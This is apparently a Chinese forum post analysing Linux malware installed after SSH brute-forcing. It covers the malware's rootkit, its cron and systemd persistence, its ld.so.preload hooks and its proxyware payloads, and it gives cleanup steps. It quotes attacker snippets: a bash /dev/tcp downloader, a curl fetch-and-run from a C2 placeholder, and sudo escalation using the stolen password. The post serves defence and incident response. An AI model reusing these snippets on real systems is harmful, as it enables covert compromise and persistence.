发布于1月23日1月23日 0x00 结论 0、中招后,会中rootkit,会做权限维持,会自身隐藏等 1、中招后,没有重启过的机器,清除需杀掉所有中招后再启动的进程 2、中招后,重启过的机器,在清除后,需要立马重启 3、需要下载busybox来做清除 4、目前看到的行为是植入各种流量代理,用于挂机赚收益 0x01 来源 看到数台有类似高危命令的机器: bash -c export VEI=s_{IP};p='IyMhL2Jpbi9iYXNo... 发现初次在执行该命令前,都存在异常登陆,且执行的命令中包含受害者IP、密码等信息,故推断为爆破后植入。 0x02 木马分析 一、安装脚本分析 脚本主要功能: 0、判断是否root如果不是root则sudo到root后执行,用的是爆破成功的密码: if [ root != 'root' ] && command -v sudo >/dev/null && echo {password} |sudo -S -l|grep -q ALL; VEI=s_{IP} 对应被爆破成功的IP 1、shell实现了一个curl function __curl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnUser-Agent: curl/7.74.9rnrn" >&3 (while read line; do [[ "$line" == $'r' ]] && break done && cat) <&3 exec 3>&- } 2、只在x86_64上运行 if ! uname -m|grep -q "x86_64"; then exit fi 3、创建木马运行目录 mkdir /tmp/.perf.c 2>/dev/null mkdir /tmp/.xdiag 2>/dev/null 4、判断是否已安装/在运行 标识为: 端口监听:cat /proc/net/tcp|grep -e 44870 -e 63582 -e ':f85e' -e ':af46' -i -q 目录存在:if [ -f /tmp/.xdiag/p ] && [ -e /proc/$(cat /tmp/.xdiag/p) ]; 5、未安装则下载安装 curl -A"curl/7.74.9" -s -o /tmp/httpd http://{C2HOST}/checklist.php 执行: KRI=kr httpd >/dev/null 2>&1 & 二、木马程序分析 行为在vt的沙箱里可以看到一些行为分析:https://www.virustotal.com/gui/file/22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13/behavior 样本MD5:656e22c65bf7c04d87b5afbe52b8d800 /root/.config/cron/perfcc 直接运行主程序后,看到的行为有: 1、释放文件 /tmp/.xdiag/int/.e.lock # 主进程pid文件 /tmp/.apid # 子进程pid 文件 /tmp/.xdiag/ # 主程序运行数据文件,里面有log、tor等相关数据 /bin/.local/bin/* # 常见命令替换及隐藏 /bin/perfcc # 用于服务拉起、计划任务拉起、命令拉起 /root/.config/cron/perfcc # 用于计划任务拉起 /lib/libgcwrap.so # 用于hook # 计划任务 /etc/cron.d/perfclean /etc/cron.hourly/perfclean /etc/cron.daily/perfclean /var/spool/cron/crontabs/root # 服务 /etc/systemd/system/kmodaudit.service /etc/systemd/system/kmodaudit.timer /lib/libpprocps.so # 主程序 用于.so 恢复控制 /lib/libfsnldev.so # 主程序 用于.so 恢复控制 2、隐藏及维持 a、伪造自身为系统常驻进程名 会把自身复制到/tmp/.perf.c/,再从当前的进程列表中,找到一个服务进程,并复制自身为服务进程文件名。用于混淆视听,这也是为啥/tmp/.perf.c/目录中通常有同样md5的两个2进制文件。 之后再次运行该进程: 子进程的pid存放在:/tmp/.apid 每次启动perfctl后,都会更新pid,并且,重命名/tmp/.perf.c/中的文件,通常为常见服务文件名,用于混淆视听。 对应的要伪造的服务进程,会从当前进程列表中取。 重新拉起后,对应更新pid和文件名。 b、替换常用命令 该程序会修改 /etc/profile,增加对应的环境变量: export PATH=/bin/.local/bin:$PATH 在/bin/.local/bin中,主要是替换常见用于排查的命令: 主要手法是增加grep -v隐藏和木马有关的信息,如运行crontab: c、权限维持 1、修改~/.profile 增加/bin/perfcc: test -x /bin/perfcc && FPROF=p /bin/perfcc 2、添加计划任务 # 添加计划任务文件: -rw-r--r-- 1 root root 22 Aug 20 19:41 /etc/cron.d/perfclean -rwxr-xr-x 1 root root 17 Aug 20 19:41 /etc/cron.hourly/perfclean -rwxr-xr-x 1 root root 17 Aug 20 19:41 /etc/cron.daily/perfclean # 添加计划任务 /var/spool/cron/crontabs/root # crontab -l 11 * * * * /root/.config/cron/perfcc 3、创建定时服务 # cat /etc/systemd/system/kmodaudit.service [Unit] Description=Kernel module perf audit and reporting Wants=kmodaudit.timer [Service] Type=oneshot RemainAfterExit=yes Environment=FSYSD=sd ExecStart=/bin/perfcc StandardOutput=null StandardError=null TimeoutStopSec=1s TimeoutStartSec=1y [Install] WantedBy=multi-user.target # cat /etc/systemd/system/kmodaudit.timer [Unit] Description=Kernel module perf audit and reporting Requires=kmodaudit.service [Timer] Unit=kmodaudit.service OnCalendar=*-*-* 00,02,04,06,08,10,12,14,16,18,20,22:45:00 AccuracySec=5m [Install] WantedBy=timers.target 三、rootkit分析 在/etc/ld.so.preload 中增加 /lib/libgcwrap.so 该文件作用有以下作用: 1、隐藏命令返回与主程序相关内容 当重启后,或者,重新ssh登录上去后,效果更佳,因为对应的tty也被hook了,tab补全都无法补全对应文件夹下内容。 2、利用常驻进程维持权限 中招后,会拉起几个正常的常驻服务,并且在其中,注入恶意.so。 如: root 1647 1 0 11:48 ? 00:00:00 /usr/sbin/cron -f root 1698 1 0 11:48 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 1753 1 0 11:48 ? 00:00:00 /lib/systemd/systemd-journald root 1757 1 0 11:48 ? 00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 所以,需要把所有已注入的进程全部结束,才能完全清除。 3、恢复自身主程序 当检测到自身被清理后(或许没检测,单纯定时跑,或者注入函数被触发).so注入的进程,会重新写一个木马主程序,并把它跑起来,对应,上面所有的行为,再来一遍。 重启后,几乎所有进程都被注入恶意.so 完成清理后,又有主程序被拉起来,通过日志看到写 /tmp/javax64 以及拉起来的主进程是: "argv":"/sbin/init","target":"/tmp/javax64" 也就是说,直接是 pid:1,写入的/tmp/javax64就是主程序。 0x03 libgcwrap.so 分析 hook函数: 被hook的函数有35个,覆盖最常规的操作。 对应分析gwrap_init,发现主要通过:tVpVskzzChOsJMKuA 和 zAdkqhLHYfNAebWBSQLe 来做各种操作。 先解密:tVpVskzzChOsJMKuA,这个变量中存放着各种字符串,但都被加密了: 解密后,能看到字符串如下 '/proc/self/mountinfo %f %f %f %s %s /proc/%d/fd /lib/libgcwrap.so .xdiag;.perf.c;.dmesg;perfctl;perfcc;libgcwrap.so;ld.so.preload;libfsnldev.so;libpprocps.so;wizlmsh /tmp/.xdiag/cp /var/log/wtmp Welcome back, friend. /dev/tty /tmp/.xdiag/wtp /tmp/javax64 dash /dev/shm/.dmesg/pds bash /tmp/.xdiag/p /proc/loadavg /proc/ %s/environ /proc/%d/environ /tmp/.xdiag/uid /tmp/.xdiag/ua %s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu /bin/zsh /tmp/.xdiag/data/tty/%s.%d.%d.%d.%d.txt LGCEXTR AAZHDE=1 /proc/%d serviceroot /lib/libfsnldev.so /bin/bash %.2f %.2f %.2f %s %s /bin/csh /tmp/wttwe2 /bin/ksh /proc /bin/sh /run/user/0/bus echo 1|cat > /tmp/wttwe2 /dev/pts/ /proc/self/fd/%d /proc/net/tcp6 /dev/shm/libpprocps.so /dev/shm/.dmesg/ino /proc/ /proc/net/udp /usr/bin/sh /tmp/.xdiag/int/ins /bin/dash /etc/ld.so.preload %d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n servicelgcroot /lib /proc/%d/exe /tmp/wttwe /proc HISTFILE=/dev/null PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d javax64 >/dev/null 2>&1 & /dev/stderr /bin/bash AAZHDE /proc/stat /tmp/.xdiag/int/.per.s /proc/net/unix LGCTR0-XR TERM=xterm 44870;44869;63582;56615;48242;4145 /dev/shm/libfsnldev.so %s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu\n %s%lu %lu %lu %lu %lu %lu %lu %lu %lu %lu PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d KRI=kr javax64 >/dev/null 2>&1 & /proc/net/tcp %.2f %.2f %.2f %s %s\n /var/run/utmp libgcwrap.so /tmp/.apid /proc/ /tmp/.xdiag/data/pam/%s.log %f %f %f %s %s\n /lib/libpprocps.so touch /tmp/wttwe2 解密后,对应注册函数映射表 然后就开始各种用函数表和字符串表做事情了 就不详细分析了。 根据上面解密后的字符串dict,配合行为能猜到做了些啥: /lib/libpprocps.so 是主程序,猜测是复制到/tmp/javax64 然后跑起来。 /lib/libfsnldev.so 也是主程序。 /tmp/wttwe2 /tmp/wttwe 这两个文件也在行为中抓到了,不过没来得及看里面是啥。 44870;44869;63582;56615;48242;4145 为启动后,监听的端口。 0x04 植入目的 在清理过程中,看到过它拉起来一大段bash脚本,decode后,详细看了一下脚本大体做了些什么。 首先,能远控应该是肯定的,理论上是可以下发任务的。 脚本中,看到了这些内容: _start_bpn ==> bitping _start_efm ==> earnfm _start_rpk ==> Repocket _start_ipr ==> iproyal _start_spd ==> SpeedShare _start_pra ==> proxyrack _start_pst ==> packetstream _start_grs ==> 还没实现 补充了一下对应函数安装的东西,看了看,都是些可以把cvm共享出去,作为一些代理,进而盈利的东西。 0x05 清理逻辑 找GPT4写脚本吧,告诉它你要做下面的事情: 0、清除 /etc/ld.so.preload 中的 /lib/libgcwrap.so /usr/lib/libgcwrap.so1、读取/tmp/.apid 获取 主进程pid2、读取/tmp/.xdiag/int/.e.lock,获取 子进程pid3、清空crontjob 中内容:11 * * * * /root/.config/cron/perfcc4、清空定时计划脚本:/etc/cron.d/perfclean/etc/cron.hourly/perfclean/etc/cron.daily/perfclean/var/spool/cron/crontabs/root5、停止并删除服务/etc/systemd/system/kmodaudit.service、/etc/systemd/system/kmodaudit.timer6、清除/etc/profile中增加的 export PATH=/bin/.local/bin:$PATH7、清除~/.profile中增加的 test -x /bin/perfcc && FPROF=p /bin/perfcc8、删除文件及文件夹 ~/.config/cron/ 、/tmp/.perf.c/、/tmp/.xdiag/、/tmp/.apid、/bin/perfcc、/bin/.local/bin/9、把所有删除的文件,再创建一下,然后用chattr +ia锁住
创建帐户或登录后发表意见